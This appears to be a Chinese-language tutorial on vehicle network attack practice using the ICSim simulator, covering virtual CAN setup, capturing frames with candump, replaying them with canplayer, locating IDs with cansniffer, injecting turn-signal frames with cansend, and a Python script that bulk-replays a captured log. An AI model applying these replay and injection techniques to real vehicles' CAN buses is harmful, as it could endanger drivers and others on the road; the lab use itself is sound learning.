车联网(Internet of Vehicles,IoV)是指将车辆与互联网和其他车辆进行连接和交互的技术和概念。它是物联网(Internet of Things,IoT)在汽车领域的应用扩展。
车联网的网络安全风险涉及多种常见的攻击方式。以下是一些常见的车联网网络安全攻击方式:
汽车攻防这方面的入局成本是非常之高,毕竟把自己车黑了后厂商八成可以不保修了,出问题了也无处伸冤。
好在 ICSim 这个开源项目,让大家有了入手点,这篇文章主要就是讲这个开源项目,至于汽车相关的软硬件等相关知识点,大家就自己学习了。
至于为什么将其放在 Android 板块中,因为现在的车机系统大部分都选用 Android 系统。
1、从github拉去到本地
1
|
~
# git clone https://github.com/zombieCraig/ICSim
|
2、安装环境依赖
1
|
~
# sudo apt-get install libsdl2-dev libsdl2-image-dev can-utils
|
3、安装ICSim
1
2
|
~
# cd ICSim
~
/ICSim
# make
|
4、准备CAN环境
ICSim 目录,有一个名为 setup_vcan.sh 的 shell 脚本
1
2
3
|
~
/ICSim
$
ls
art controls.c data icsim.c lib.c lib.o Makefile setup_vcan.sh
controls controls.o icsim icsim.o lib.h LICENSE README.md
|
使用cat命令查看其内容
1
2
3
4
5
|
~
/ICSim
# cat setup_vcan.sh
sudo
modprobe can
sudo
modprobe vcan
sudo
ip link add dev vcan0
type
vcan
sudo
ip link
set
up vcan0
|
modprobe 指令加载 can 和 vcan 模块,最后两行将创建 vcan0 接口以便模拟汽车网络。
运行 setup_vcan.sh 命令来设置一个虚拟的 CAN 接口:
1
|
~
/ICSim
# ./setup_vcan.sh
|
使用命令 ifconfig vcan0 验证 vcan0 接口,如果 vcan0 配置成功将显示:
1
2
3
4
5
6
7
|
~
/ICSim
# ifconfig vcan0
vcan0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
UP RUNNING NOARP MTU:72 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
|
要想ICSim运行起来,必须需要一个仪表盘和一个控制器,其作用是模拟汽车加速、刹车、转向等,要想达到这些功能至少需要3个终端。
终端1:启动虚拟的 CAN 接口
1
|
~
/
ICSim
# ./setup_vcan.sh
|
该终端启动后可关闭。
终端2:运行仪表盘
1
2
|
~
/
ICSim
# ./icsim vcan0
Using CAN interface vcan0
|
运行该指令后将会有个 IC Simulator 窗口跑起来。
终端3:运行控制器
1
2
|
~
/
ICSim
# ./controls vcan0
Warning: No joysticks connected
|
运行该指令后将会有个 CANBus Control Panel 窗口跑起来。
行为 | 快捷键 |
---|---|
加速 | ↑ |
左右转向 | ←/→ |
关闭前左右车门 | Right-Shift + A/B |
关闭后左右车门 | Right-Shift + X/Y |
打开前左右车门 | Left-Shift + A/B |
打开后左右车门 | Leftt-Shift + X/Y |
关闭全部车门 | Right-Shift + Left-Shift |
打开全部车门 | Left-Shift + Right-Shift |
candump 是 can-utils 工具包中的一个命令,用于监听和显示CAN总线上的报文。
以下是 candump 命令的基本语法:
1
|
candump <interface>
|
<interface>
: 指定要监听的CAN接口,例如 vcan0 或 can0。新开终端,输入 candump vacn0,截取部分指令:
1
2
3
4
5
6
7
8
9
10
11
12
|
~
# candump vcan0
vcan0
244
[
5
]
00
00
00
01
3D
vcan0
166
[
4
] D0
32
00
18
vcan0
158
[
8
]
00
00
00
00
00
00
00
19
vcan0
161
[
8
]
00
00
05
50
01
08
00
1C
vcan0
191
[
7
]
01
00
90
A1
41
00
03
vcan0
133
[
5
]
00
00
00
00
A7
vcan0
136
[
8
]
00
02
00
00
00
00
00
2A
vcan0
13A
[
8
]
00
00
00
00
00
00
00
28
vcan0
13F
[
8
]
00
00
00
05
00
00
00
2E
vcan0
164
[
8
]
00
00
C0
1A
A8
00
00
04
vcan0
17C
[
8
]
00
00
00
00
10
00
00
21
|
vcan0: 这是 CAN 接口的名称,表示数据是从 vcan0 接口接收的。CAN 接口是用于连接 CAN 总线的虚拟接口。
244, 166, 158, ...: 这些是 CAN 帧的标识符(ID),表示不同的 CAN 消息。
[5], [4], [8], ...: 这些是CAN帧的数据长度,表示CAN消息数据的字节数,这个不能超过 8 个字节。
00 00 00 01 3D, D0 32 00 18, ...: 这些是CAN帧的数据内容,以十六进制表示。每个字节对应两个十六进制数字。
candump 还可以转储 CAN 报文内容,如果想进行重放攻击,这是必不可少的操作,CAN 报文的转储可以使用 -l 参数启动:
1
2
3
4
|
# candump vcan0 -l
Disabled standard output
while
logging.
Enabling Logfile
'candump-2023-09-16_013511.log'
|
会在当前目录下生成 candump-2023-09-16_013511.log 的日志文件。
canplayer 是 can-utils 工具包中的一个命令,用于回放预先记录的 CAN 数据文件,以便模拟 CAN 总线上的报文传输。
以下是 canplayer 命令的基本语法:
1
|
canplayer <interface> <logfile>
|
<interface>
: 指定要回放数据的CAN接口,例如 vcan0 或 can0。<logfile>
: 指定包含 CAN 数据记录的日志文件。亦或者可以直接使用 -I 参数来指定接受输入文件:
1
|
canplayer
-
I <logfile>
|
例如,在上述 candump 下来的 log 日志中我进行了左右转向灯开启的操作,要使用 canplayer 命令将预先记录的 CAN 数据文件 log.txt 回放到 vcan0 接口上,可以使用以下命令:
1
|
~
# canplayer -I candump-2023-09-16_013511.log
|
经实验成功重放了报文,车辆进行了左右灯打开和关闭。
通过 canplayer 可以重放 CAN 报文,但要想确定是哪个 canid 进行转向控制,或其余操作时,这时候就比较困难,二分法一次一次尝试是比较快的方法。
还有个比较快速的方法,寻找特点的 canid 及can 报文数据,即使用 cansniffer。
cansniffer 命令允许您监听 CAN 总线上的 CAN 消息,并将其显示在终端上。它可以帮助您实时查看 CAN 总线上的通信活动,包括 CAN 帧的标识符、数据长度和数据内容。
以下是 cansniffer 命令的基本语法:
1
|
cansniffer <interface>
|
<interface>
: 指定要使用的CAN接口,例如 vcan0 或 can0。cansniffer 的 -c 参数可以通过颜色高亮突出变化的字节,当需要判断执行某些操作是否会导致 CAN 数据变化时使用。
1
|
cansniffer
-
c vcan0
|
执行上述命令后,cansniffer 将开始监听 vcan0 接口上的 CAN 消息,并将产生变化的数据以红色高亮的方式显示在终端上。
cansniffer 可以通过 canid 进行过滤,当需要只显示某一个特定 canid 的帧时,只需在嗅探的过程中,按减号(-)然后输入 000000,再按 Enter 键清除所有的帧,按加号(+)然后输入 canid ,再按 Enter 键便只显示特定 canid 的帧。
cansend 是 can-utils 工具包中的一个命令,用于向 CAN 总线发送 CAN 消息。它允许您指定 canid 的标识符、数据长度和数据内容,以将消息发送到CAN总线。
以下是 cansend 命令的基本语法:
1
|
cansend <interface> <can_id>
#<data>
|
<interface>
: 指定要使用的CAN接口,例如 vcan0 或 can0。<can_id>
: CAN帧的标识符(ID),用于唯一标识一个 CAN 消息。<data>
: CAN帧的数据内容,以十六进制表示。例如,要发送一个标识符为123,数据内容为 01 02 03 04 的 CAN 消息到 vcan0 接口,可以使用以下命令:
1
|
cansend vcan0
123
#01020304
|
在上述嗅探过程中,已经确认控制车辆左右转向灯的 canid 为 188 对应的 CAN 报文中 01 代表左转向灯亮,02 代表右转向灯亮,进行实操:
1
2
|
cansend vcan0 188
#0100000000000000
cansend vcan0 188
#0200000000000000
|
可以在对应的 IC Simulator 窗口中看到指示灯亮起。
有时候,在实车环境中,无法精确定位 canid ,可以采用脚本读取 candump 下来的数据源,批量发送 can 报文:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
import
subprocess
import
time
def
execute_commands(command):
subprocess.run(command, shell
=
True
)
# 主动调用
def
get_can_cmd():
can_cmd_list
=
[]
# 创建一个空列表用于存储每一行数据
with
open
(
'/home/xingjian/candump-2023-09-17_011314.log'
,
'r'
) as
file
:
for
line
in
file
:
line
=
'cansend'
+
line.strip().split(r
')'
)[
-
1
]
# 去除行末尾的换行符和空白字符
can_cmd_list.append(line)
# 将每一行添加到列表中
return
can_cmd_list
can_cmd_list
=
get_can_cmd()
for
cmd
in
can_cmd_list:
print
(
'正在发送指令为:'
, cmd)
execute_commands(cmd)
time.sleep(
0.1
)
|
更多【一起学学车联网攻防】相关视频教程:www.yxfzedu.com